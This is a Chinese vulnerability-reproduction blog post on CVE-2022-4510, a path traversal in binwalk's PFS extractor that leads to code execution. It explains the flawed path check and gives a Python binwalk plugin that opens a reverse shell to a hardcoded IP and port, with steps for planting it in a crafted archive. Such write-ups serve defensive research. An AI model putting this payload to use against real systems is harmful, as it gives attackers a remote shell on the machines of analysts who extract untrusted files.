【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞

admin 2023年6月21日21:10:55评论93 views字数 1642阅读5分28秒阅读模式

漏洞介绍

binwalk是一款常用的二进制文件提取工具,在固件分析和CTF Misc中使用广泛。在binwalk的2.1.2b-2.3.2版本中,存在一个路径穿越漏洞,允许攻击者构造恶意文件,当使用binwalk的-e选项对该恶意文件进行自动提取时,将触发漏洞,将攻击者构造的恶意文件中内嵌的文件写入提取目录之外的路径。这还可能导致远程代码执行。

  • kali linux自带binwalk工具
  • CVE 编号:CVE-2022-4510
  • 漏洞分类:RCE
  • CVSS评分:7.8 HIGH

漏洞描述

在从2.1.2b版到2.3.3版的ReFirm Labs binwalk中发现了一个路径遍历漏洞。通过手工创建一个恶意的PFS文件系统文件,当binwalk在提取模式(-e选项)下运行时,攻击者可以让binwalk的PFS提取程序在任意位置提取文件。远程代码执行可以通过构建PFS文件系统来实现,该文件系统在解压缩时会将恶意的binwalk模块解压缩到文件夹中。配置/binwalk/插件。此漏洞与程序文件src/binwalk/plugins/unpfs.py相关。此问题影响从2.1.2b到2.3.3的binwalk。

  • 影响版本:Binwalk v2.1.2b-2.3.3

漏洞分析:

这个漏洞源于binwalk解析PFS文件时的防路径穿越代码存在问题。它使用类似下面的代码来检测是否存在路径穿越:

outfile_path = os.path.join(提取路径, PFS文件内嵌的某个文件的文件名)
if not outfile_path.startswith(提取路径): # 若是则认为存在路径穿越
  # ... 

假如攻击者把PFS文件内嵌的某个文件的名字设置成"../test.txt",那么outfile_path为"提取路径/../test.txt",第2行的if语句永远成立,故这个检测是无效的。

此外,binwalk的插件存放路径下的python文件将被当成binwalk的插件,在binwalk每次执行的时候自动调用。所以,假如利用路径穿越漏洞将一个特制python脚本写入binwalk的插件存放路径下,即可实现RCE。

漏洞复现

环境准备

推荐kali(自带binwalk)

ubuntu(需要自行下载影响版本)

将POC.zip(后台回复230621获取下载后放在文件夹, 可以看到是.pfs的文件

【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞

使用二进制方式打开:

【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞

执行命令:

【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞

构造RCE的POC,在解压后的文件中保持文件头和路径,后面加上下面的脚本代码,并且把长度改一下,然后保存成一个压缩包malicious.zip。

提示:在 s.connect中写入要连接的ip地址和监听端口,

import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
   def init(self):
       s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
       s.connect(("192.168.132.131",9999))
       os.dup2(s.fileno(),0)
       os.dup2(s.fileno(),1)
       os.dup2(s.fileno(),2)
       pty.spawn("sh")

【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞

binwalk -Me malicious.zip 然后就可以 RCE。

【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞

下载连接

https://github.com/ReFirmLabs/binwalk/pull/617
参考:

https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/ https://mp.weixin.qq.com/s/gZp87CAeuM1eC91kA8Cqeg

原文始发于微信公众号(信安404):【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月21日21:10:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】CVE-2022-4510:Binwalk 远程代码执行漏洞http://cn-sec.com/archives/1824051.html

发表评论

匿名网友 填写信息